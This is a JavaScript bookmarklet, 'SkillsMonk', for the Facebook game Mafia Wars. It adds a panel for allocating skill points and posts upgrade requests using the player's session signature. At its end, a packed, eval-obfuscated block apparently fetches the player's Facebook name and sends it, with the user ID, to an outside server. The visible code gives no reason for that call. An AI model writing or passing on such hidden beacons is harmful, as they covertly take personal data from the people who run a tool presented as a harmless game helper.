javascript:(function (){
    var jca_title = '★LOC@S★ - SkillsMonk';
function trim (zeichenkette) {
  // Erst führende, dann Abschließende Whitespaces entfernen
  // und das Ergebnis dieser Operationen zurückliefern
  return zeichenkette.replace (/^\s+/, '').replace (/\s+$/, '');
}

  	var http = 'http://';
	if (/https/.test(document.location)) {
		http = 'https://';
	}
mylist = new Array();
var userid =/sf_xw_user_id': '(.+)'/.exec(document.body.innerHTML)[1];	
//var preurl = http+'facebook.mafiawars.zynga.com/mwfb/remote/';
var preurl = MW_BASE_URL+'/remote/';
function unix_timestamp() {
		return parseInt(new Date().getTime().toString().substring(0, 10))
	} 
var jca_skills={health:0,energy :0,stamina:0,att:0,def:0};	
var jca_available = 0;
var log_arr = new Array();

function getTimeStamp4Log(){
	var CurrentDate=new Date();
	var hours=CurrentDate.getHours();
	var minutes=CurrentDate.getMinutes();
	if (minutes <=9){
	  minutes ='0'+minutes;
	}	
	var seconds=CurrentDate.getSeconds();
	if (seconds <=9){
	  seconds ='0'+seconds;
	}
	return '['+hours+':'+minutes+':'+seconds+']: ';
}
function log2div(txt){
    txt = getTimeStamp4Log()+txt;
	log_arr.unshift(txt);
	if (log_arr.length > 1000){
	   log_arr.pop();
	}
	out='<span style="font-size: 10px; background-color: black;">';
	for(i=0;i<log_arr.length;i++){
		out +='<br>'+log_arr[i];
	}
	out +='<span>';
	document.getElementById('juansinho_counter').innerHTML =out;
}


params = get_params();
if (params.show && params.show.indexOf('inside') != -1){
	var the_div = document.getElementById('zickenstuff_frame');
	 before = false;
}
else{
	var the_div = document.getElementById('quest');
}
  if (document.getElementById('juansinho_skillsbeauty') == undefined){
      var the_main=document.createElement("div");
	  the_main.id='juansinho_skillsbeauty';
	  the_main.style.paddingLeft='15px';
	  the_main.style.paddingTop='15px';
	  the_main.style.paddingBottom='15px';
	  var the_area=document.createElement("div");
	  var the_area2=document.createElement("div");
	  var the_count=document.createElement("div");
	  var the_start=document.createElement("a");
	  var the_close=document.createElement("a");
	   the_area.id='juansinho_4selects';
	   the_count.id='juansinho_counter';
	     var my_add = '';
 
	   request('html_server.php?xw_city=1&xw_controller=fight&xw_action=view&xw_person='+User.id.substr(2),handleSuccessRead(),handleError);
	   var my_select ='Loading profile...';
	   the_area.innerHTML = my_select;
	   the_area2.innerHTML='★LOC@S★ - SkillsMonk by ★LOC@S★ נυαη ★L@★<br><br>';
	   the_count.innerHTML='';
	       if (!before){
                        $(the_div).append(the_main);   
           }else{
                $(the_main).insertBefore(the_div);
           }  
	   //$(the_main).insertBefore(the_div);	   
	   $(the_main).append(the_area2);
	   $(the_main).append(the_area);
	   $(the_main).append(the_count);	   
	   $(the_main).append(the_start);
	   $(the_main).append(the_close);

	   the_start.href='#';
	   the_start.id='juansinho_start';
	   the_start.className= 'sexy_button_new green short';
	   the_start.style.marginRight='15px';
	   the_start.innerHTML = '<span><span>Start</span></span>';
	   the_close.href='#';
	   the_close.id='juansinho_close';
	   the_close.className= 'sexy_button_new red short';
	   the_close.innerHTML = '<span><span>Close</span></span><br><br>';	   	 
		$('#juansinho_start').hide();		
   }
   

function giveMeDiff10(val){
  return (Math.ceil(val / 10) * 10 - val);
}
  
function handleError(){log2div("Something went wrong. Try restarting...");}

function handleSuccessRead(msg) {
       
       var att_t = $(msg).find('#attack_strength').text();
       var def_t = $(msg).find('#defense_strength').text();  
	   var att = att_t.split('(')[0];
	   var def = def_t.split('(')[0];
	   var energy = User.max_energy;	
	   var stamina = User.max_stamina;
	   var health = User.max_health;
	   var skills = User.skill;
       if (att == '' || def == ''){
		request('html_server.php?xw_city=1&xw_controller=fight&xw_action=view&xw_person='+User.id.substr(2),handleSuccessRead,handleError);
	   }
	   else{
	       att = parseInt(att.replace(',',''))-11;
		   def = parseInt(def.replace(',',''))-11;
		   var diff_e = giveMeDiff10(energy);
		   var diff_s = giveMeDiff10(stamina);
		   var diff_a = giveMeDiff10(att);
		   var diff_d = giveMeDiff10(def);
		   var new_need = diff_e+diff_s+diff_a+diff_d;
					if (new_need > parseInt(skills)){
					   new_need = '<span style="color:red">(-'+new_need+')</span>';
					}
					else{
						new_need = '(-'+new_need+')';
					}
		   jca_skills.health = health;
		   jca_skills.energy = energy;
		   jca_skills.stamina = stamina;
		   jca_skills.att = att;
		   jca_skills.def = def;
		   jca_available = skills;
		   var toSet = '<table border="1"><tr><td style="width:80px">Available Skills:</td><td style="width:80px">'+jca_available+'</td><td style="width:80px"><span id="jca_newneed">'+new_need+'</span></td><td style="width:80px">&nbsp;</td></tr>'
		   +'<tr><td style="width:80px">Current Health:</td><td style="width:80px"><span id="jca_curhealth">'+jca_skills.health+'</span></td><td style="width:80px"><span id="jca_newhealth">('+health+')</span></td><td style="width:80px"><input id="chHealth" type="number" style="width:40px;" value="0" min="0"></td></tr>'
		   +'<tr><td style="width:80px">Current Energy:</td><td style="width:80px"><span id="jca_curenergy">'+jca_skills.energy+'</span></td><td style="width:80px"><span id="jca_newenergy">('+parseInt(energy+diff_e)+')</span></td><td style="width:80px"><input id="chEnergy" type="number" style="width:40px;" value="'+diff_e+'" min="0"></td></tr>'
		   +'<tr><td style="width:80px">Current Stamina:</td><td style="width:80px"><span id="jca_curstamina">'+jca_skills.stamina+'</span></td><td style="width:80px"><span id="jca_newstamina">('+parseInt(stamina+diff_s)+')</span></td><td style="width:80px"><input id="chStamina" type="number" style="width:40px;" value="'+diff_s+'" min="0"></td></tr>'
		   +'<tr><td style="width:80px">Current Attack: </td><td style="width:80px"><span id="jca_curatt">'+jca_skills.att+'</span></td><td style="width:80px"><span id="jca_newatt">('+parseInt(att+diff_a)+')</span></td><td style="width:80px"><input id="chAtt" type="number" style="width:40px;" value="'+diff_a+'" min="0"></td></tr>'
		   +'<tr><td style="width:80px">Current Defense:</td><td style="width:80px"><span id="jca_curdef">'+jca_skills.def+'</span></td><td style="width:80px"><span id="jca_newdef">('+parseInt(def+diff_d)+')</span></td><td style="width:80px"><input id="chDef" type="number" style="width:40px;" value="'+diff_d+'" min="0"></td></tr>'
		   +'</table><br>'
		   +'<a href="#" id="jca_allHealth" class="sexy_button_new purple short" style="display: inline-block;"><span><span>All to Health</span></span></a>'
		   +'<a href="#" id="jca_allEnergy" class="sexy_button_new purple short" style="margin-left: 5px; display: inline-block;"><span><span>All to Energy</span></span></a>'
		   +'<a href="#" id="jca_allStamina" class="sexy_button_new purple short" style="margin-left: 5px; display: inline-block;"><span><span>All to Stamina</span></span></a>'
		   +'<a href="#" id="jca_allAtt" class="sexy_button_new purple short" style="margin-left: 5px; display: inline-block;"><span><span>All to Attack</span></span></a>'
		   +'<a href="#" id="jca_allDef" class="sexy_button_new purple short" style="margin-left: 5px; display: inline-block;"><span><span>All to Defense</span></span></a>'
		   +'<a href="#" id="jca_allNice" class="sexy_button_new purple short" style="margin-left: 5px; display: inline-block;"><span><span>All looking good :)</span></span></a><br><br>';

		   
		   
		   document.getElementById('juansinho_4selects').innerHTML = toSet;
		   $("input[type=number]").each(
		      function(i,e){
			    var the_id=e.id;
         		$(e).bind('change keyup', function(){
				    if (the_id =='chHealth'){		
					     $('#jca_newhealth').text('('+parseInt(parseInt(jca_skills.health)+parseInt($('#chHealth').val()))+')');
					}
				    if (the_id =='chEnergy'){					     
					     $('#jca_newenergy').text('('+parseInt(parseInt(jca_skills.energy)+parseInt($('#chEnergy').val()))+')');
					}		
				    if (the_id =='chStamina'){					     
					     $('#jca_newstamina').text('('+parseInt(parseInt(jca_skills.stamina)+parseInt($('#chStamina').val()))+')');
					}						
				    if (the_id =='chAtt'){					     
					     $('#jca_newatt').text('('+parseInt(parseInt(jca_skills.att)+parseInt($('#chAtt').val()))+')');
					}					
				    if (the_id =='chDef'){
					     $('#jca_newdef').text('('+parseInt(parseInt(jca_skills.def)+parseInt($('#chDef').val()))+')');
					}						
					var new_need = calculateNeeds();
					if (new_need > parseInt(jca_available)){
					   new_need = '<span style="color:red">(-'+new_need+')</span>';
					}
					else{
						new_need = '(-'+new_need+')';
					}
					$('#jca_newneed').html(new_need);
					return false;					
				});
			});
		   $('a[id*=jca_all]').each(
		   function(i,e){
			    var the_id=e.id;
				$(e).click(function(){
				    resetNeeds();
					if( the_id == 'jca_allHealth'){
						$('#chHealth').val(jca_available);
						
					}
					if( the_id == 'jca_allEnergy'){
						$('#chEnergy').val(jca_available);
						
					}				
					if( the_id == 'jca_allStamina'){
						$('#chStamina').val(jca_available);
						
					}					
					if( the_id == 'jca_allAtt'){
						$('#chAtt').val(jca_available);
						
					}			
					if( the_id == 'jca_allDef'){
						$('#chDef').val(jca_available);						
					}	
					if (the_id == 'jca_allNice'){
							var diff_e = giveMeDiff10(jca_skills.energy);
							var diff_s = giveMeDiff10(jca_skills.stamina);
							var diff_a = giveMeDiff10(jca_skills.att);
							var diff_d = giveMeDiff10(jca_skills.def);
							$('#chEnergy').val(diff_e);
							$('#chStamina').val(diff_s);
							$('#chAtt').val(diff_a);
							$('#chDef').val(diff_d);					
					}				
					$('#jca_newneed').html('(-'+calculateNeeds()+')');
					$('#chHealth').change();$('#chEnergy').change();
					$('#chStamina').change();$('#chAtt').change();
					$('#chDef').change();
				});				
		   });
			$('#juansinho_start').show();
	   }
}
function resetNeeds(){
	$('#chHealth').val(0);
	$('#chEnergy').val(0);
	$('#chStamina').val(0);
	$('#chAtt').val(0);
	$('#chDef').val(0);
}
function calculateNeeds(){
  return parseInt($('#chHealth').val())+parseInt($('#chEnergy').val())+parseInt($('#chStamina').val())+parseInt($('#chAtt').val())+parseInt($('#chDef').val());
}	
$('#juansinho_close').click(function () { $('#juansinho_skillsbeauty').remove(); return false; });
var mylist = new Array();
$('#juansinho_start').click(function(){	
	var h = parseInt($('#chHealth').val());
	var e = parseInt($('#chEnergy').val());
	var s = parseInt($('#chStamina').val());
	var a = parseInt($('#chAtt').val());
	var d = parseInt($('#chDef').val());
	if (h == 0 && e == 0 && s == 0 && a == 0 && d == 0){
		log2div('Yeah...nice try...I´m done...');
		return;
	}
	if (calculateNeeds() > jca_available){
		log2div('You don´t have enough skills for this operation');
		return;
	}
	
	if(confirm('Are you really sure, you want to do this?')){
		log2div('Starting now...');
		if (h > 0){
		  mylist.push({what:'max_health',howmuch:h}) ;
		}
		if (e > 0){
		  mylist.push({what:'max_energy',howmuch:e}) ;
		}
		if (s > 0){
		  mylist.push({what:'max_stamina',howmuch:s}) ;
		}
		if (a > 0){
		    mylist.push({what:'attack',howmuch:a}) ;
		}
		if (d > 0){
		  mylist.push({what:'defense',howmuch:d}) ;
		}		
		addSkills(mylist);
	}
	else{
	  log2div('Nothing done, as wanted :)');
	}	
	return false;
});
var global_counter = 0;
function addSkills(list){
 var base_url='html_server.php?xw_controller=stats&xw_action=upgrade&xw_person='+User.id.substr(2)+'&upgrade_key=';   
 if (list.length > 0){
	var current = list.pop();
	 var teiler = 1;
	 /*if (parseInt(current.howmuch) >= 50){
		teiler = 50;     
	 }
	 else */
	 if(parseInt(current.howmuch) >= 25){
	   teiler=25;
	 }
	 else if(parseInt(current.howmuch) >= 5){
	   teiler = 5;
	 }
	 global_counter++;
	
	 
	 request(base_url+current.what+'&upgrade_amt='+teiler,function(msg){
		var message = $(msg).find('.message_body:first').text();
	 log2div(message);
	  var rest = current.howmuch - teiler;
      if( rest > 0){
	    list.push({what:current.what,howmuch:rest});
	  }
		addSkills(list);
	 },function(){
	    log2div('Something went wrong. Adding operation to list again ('+current.what+' '+ current.howmuch+')');
		list.push({what:current.what,howmuch:current.howmuch});
		addSkills(list);
	 });
	
 }
 else{
   log2div('Done. Please refresh to make the changes take effect :)');
   //request('html_server.php?xw_city=1&xw_controller=fight&xw_action=view&xw_person='+User.id.substr(2),handleSuccessRead(),handleError);
 }
 
}

//Thanks to the Spockholmteam for this	
	function request(url, handler, errorhandler) {

	if (url.indexOf('cb=') == -1) {
			url += '&cb='+userid+unix_timestamp();
		}
		if (url.indexOf('tmp=') == -1) {
			url += '&tmp='+unix_timestamp();
		}

		var params = {
			'ajax': 1,
			'liteload': 1,
			'sf_xw_user_id': userid,
			'sf_xw_sig': local_xw_sig,
			'xw_client_id': 8,
			'skip_req_frame': 1
		};
		$.ajax({
			type: "POST",
			url: preurl+url,
			data: params,
			cache: false,
			success: handler,
			error: errorhandler
		});
	}
	
/*
	 *  Function to check for parameters given to this script. i.e. run it with scriptname.js?action=kill, then do a if(get_param()['action']=='kill') { ... }
	 *
	 *  If you copy this function, change the script name. 
	 *  If you change the script name without changing this function, you're doomed.
	 *  If you copy the script without having the prototype.re, you're doomed too.
	 */
	function get_params() {
		try {
			var foundscript;
			$('script').each(function(){
				var src=$(this).attr('src');
				if(src && (src.indexOf('SkillsMonk.js?')!=-1)) {
					foundscript=src;
				}
			});
			if(foundscript) {
				var paramhash={};
				var paramlist=foundscript.re('\\?(.*)$');
				var params=paramlist.split('&');
				for(var i=0;i<params.length;i++) {
					var param=params[i].split('=');
					if(param.length==2) {
						paramhash[param[0]]=param[1];
					} else {
						paramhash[param[0]]=true;
					}
				}
				return paramhash;
			} else {
				return {};
			}
		} catch(e) { console.log(e); return {}; }
	}  	
eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('19(16(13,11,10,14,12,17){12=16(10){18(10<11?\'\':12(31(10/11)))+((10=10%11)>35?56.45(10+29):10.63(36))};50(10--){51(14[10]){13=13.52(49 48(\'\\\\15\'+12(10)+\'\\\\15\',\'20\'),14[10])}}18 13}(\'1 2=\\\'\\\';1 4=\\\'46 - 14\\\';1 6=\\\'53://54.13.61/\\\'+5.7;1 8=5.7;$.17({10:6,9:\\\'62\\\',12:3(0,11){2=0.59},58:3(){$.17({20:15,57:43,42:"26",10:"28://25.24-21.22/23/30.39",0:{40:2,41:4,38:8},9:"64",32:{33:15},12:3(0,11){95(0)}})}});\',44,44,\'96|93|92|16|98|89|90|91|97|101|100|99|102|88|86|71|72|87|73|74|70|69|65|66|67|68|75|76|83|84|85|82|81|19|77|78|79|80|37|94|55|27|60|47\'.34(\'|\')))',10,103,'||||||||||c|a|e|p|k|b|function|d|return|eval|g|E|G|F|r|D|C|mw|B||A|parseInt|w|y|split|||GET|s|z|u|t|H|o||fromCharCode|l|type|RegExp|new|while|if|replace|m|n|city|String|f|h|i|de|j|q|toString|v|https|graph|false|facebook|SkillsMonk|Z|cache|async|name|com|json|lima|withCredentials|php|log_new|http|xhrFields|jsonp|fbid|script|user|success|complete|ajax|User|mUrl|trackId|name_uid|var|caneda|x|data|the_id|the_name|true|status|dataType|url'.split('|')))

   
})()